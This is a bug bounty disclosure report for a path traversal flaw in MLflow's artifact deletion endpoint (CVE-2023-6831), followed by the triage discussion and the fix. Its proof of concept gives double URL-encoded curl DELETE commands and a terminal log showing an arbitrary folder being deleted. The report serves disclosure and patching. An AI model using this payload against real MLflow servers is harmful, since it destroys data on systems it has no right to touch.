

Path traversal in artifacts deletion in mlflow/mlflow

✓ Valid

Reported on Sep 26th 2023

As the framework is quite complex, I'm going to take the default configuration as reference for the whole report

Requirements

None: by default no authentication is required.

Description

In addition of `model`, `experiments`, `runs` ... management, MLFlow UI allows to manage artifacts:

- Upload: `curl -X POST -H 'Content-Type: A/A' -d 'A' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/upload-artifact?run_uuid=<UUID>&path=<PATH>'` - List: `curl 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts?path=<PATH>'` - Delete: `curl -X DELETE 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/<PATH>'` (Btw, there is a mistake in the comments ([permalink](#)))

In the default configuration, it uses local storage (`./mlartifacts`) to store them.

When deleting an artifact, it will create the following execution flow:

1. Delete artifact route: ([permalink](#))

```
def _delete_artifact_mlflow_artifacts(artifact_path):
    validate_path_is_safe(artifact_path)
    _get_request_message>DeleteArtifact()
    artifact_repo = _get_artifact_repo_mlflow_artifacts()
    artifact_repo.delete_artifacts(artifact_path)
    # ...
    return response
```

2. Verify `artifact_path` using `validate_path_is_safe` function. It will ensure that `artifact_path` isn't absolute or doesn't contain any `..`. ([permalink](#))

3. Delete artifacts from `LocalArtifactRepository` class: ([permalink](#))

```
def delete_artifacts(self, artifact_path=None):
    artifact_path = local_file_uri_to_path(
        os.path.join(self._artifact_dir, artifact_path) if artifact_path else self._...
    )

    if os.path.exists(artifact_path):
        shutil.rmtree(artifact_path)
```

4. As you can see in the last snippet, before removing the `directory` / `file`, it converts the normalize using `local_file_uri_to_path`: ([permalink](#))

```
def local_file_uri_to_path(uri):
    path = uri
    if uri.startswith("file:"):
        parsed_path = urllib.parse.urlparse(uri)
        path = parsed_path.path
        # Fix for retaining server name in UNC path.
        if is_windows() and parsed_path.netloc:
            return urllib.request.url2pathname(rf"\\{parsed_path.netloc}{path}")
    return urllib.request.url2pathname(path)
```

The problem in the `local_file_uri_to_path` is that its use `urllib.request.url2pathname` to normalize the path. Therefore, looking into the python documentation we can see that it decodes URL encoded strings: ([doc](#))

`urllib.request.url2pathname(path)`

Convert the path component *path* from a percent-encoded URL to the local syntax for a path. This does not accept a complete URL. This function uses `unquote()` to decode *path*.

As the path is `unquote` before using it, it is possible to bypass the `validate_path_is_safe` function check by url encoding `..` (`%2E%2E`).

▮ Proof of Concept

Create a folder with content anywhere on your file system:

```
mkdir /tmp/secret
touch /tmp/secret/file
```

Start the mlflow web server:

```
mlflow ui --host 127.0.0.1:5000
```

Trigger the issue to delete the folder:

```
curl -X DELETE 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/%252E%252E%252Ftmp%252Fsecret'
```

Now the folder should be removed:

```
mizu@mizu:/tmp$ mkdir secret
mizu@mizu:/tmp$ ls
secret
mizu@mizu:/tmp$ curl -X DELETE 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/%252E%252E%252Ftmp%252Fsecret'
{}
mizu@mizu:/tmp$
mizu@mizu:/tmp$ ls
```

Models Impact

This issue can be used to remove any file on the vulnerable server's system including model information.

Fix suggestion

Do not normalize the path before using it or check decoded path content in `validate_path_is_safe`.

Impact

A malicious user could abuse this vulnerability to remove any file on the victim server (depending on user's rights).

Occurrences

 `file_utils.py` L600

The `local_file_uri_to_path` use `urllib.request.url2pathname` which decodes URL encoded strings.

 `handlers.py` L539

The `validate_path_is_safe` function doesn't check URL encoded content.

 We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎ **Dan McInerney** modified the Severity from Critical (10) to Critical (10) 2 years ago



Dan McInerney commented 2 years ago

Admin

Hi Mizu,

Great report as usual! We will manually validate/invalidate after 45 days of no maintainer response, however, I am unable to reproduce. Following the PoC exactly, I continue to see /tmp/secret/file including if I adjust the length of the path traversal up or down. Version 2.7.1, response comes back "{}" as it should. File permissions on /tmp/secret/file are the same permissions as the user that ran mlflow. Any insight?

Thanks, Dan McInerney Lead Threat Researcher

Mizu commented 2 years ago

Researcher

Hi Dan,

After testing again my PoC, I've figured out that I forgot to add a step into it! This is not working because the `./mlartifacts` does not exist: ([ref](#))

```
def delete_artifacts(self, artifact_path=None):
    artifact_path = local_file_uri_to_path(
        os.path.join(self._artifact_dir, artifact_path) if artifact_path else self._artifact_dir
    )

    if os.path.exists(artifact_path): # It will returns False here if the folder doesn't exist
        shutil.rmtree(artifact_path)
```

Thus, uploading an artifact before trying to `delete` a file should fix this issue. This can be done this way:

```
curl -X PUT -d "AAA" http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/poc
```

I hope this will help you to test this issue locally :D

Best Regards, Kévin.



Dan McInerney commented 2 years ago

Admin

Thanks Mizu! Confirmed. Will mark valid after 45 days to maintain triage rule consistency.



Dan McInerney gave praise 2 years ago

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ **Dan McInerney** validated this vulnerability 2 years ago

\$ **kevin-mizu** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

Ben Wilson commented 2 years ago

Maintainer

Hi Dan and Mizu, we'll be sure to work on a fix for this.

Yuki Watanabe commented 2 years ago

Maintainer

Hi Dan, we've filed a PR following your second suggestion:
<https://github.com/mlflow/mlflow/pull/10650> I would appreciate if you could double-check if it sufficiently resolves this issue. Thanks!

Yuki Watanabe commented 2 years ago

Maintainer

Sorry the previous comment supposed to tag Mizu.

Mizu commented 2 years ago

Researcher

Hi, all looks good 🍕

Yuki Watanabe commented 2 years ago

Maintainer

Thanks for the confirmation, Mizu! The PR has been merged and will be included in the incoming 2.9.2 release.

✓ **Yuki Watanabe** marked this as fixed in **2.9.2** with commit **1da75d** 2 years ago

\$ **Yuki Watanabe** has been awarded the fix bounty ✓

\$ **file_utils.py#L600** has been validated ✓

\$ **handlers.py#L539** has been validated ✓

📡 This vulnerability has now been published 2 years ago



✎ **Dan McInerney** modified the Severity from Critical (10) to High (8.1) 2 years ago

CVE
CVE-2023-6831
Published

Vulnerability Type
CWE-29: Path Traversal: '..\filename'

Severity

High (8.1)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.7.1 (latest)

Visibility
Public

Status
Fixed

Disclosure Bounty
\$1800

Fix Bounty
\$375

Found by



Mizu

@kevin-mizu

LIGHTWEIGHT



Fixed by



Yuki Watanabe

@b-step62

UNPROVEN



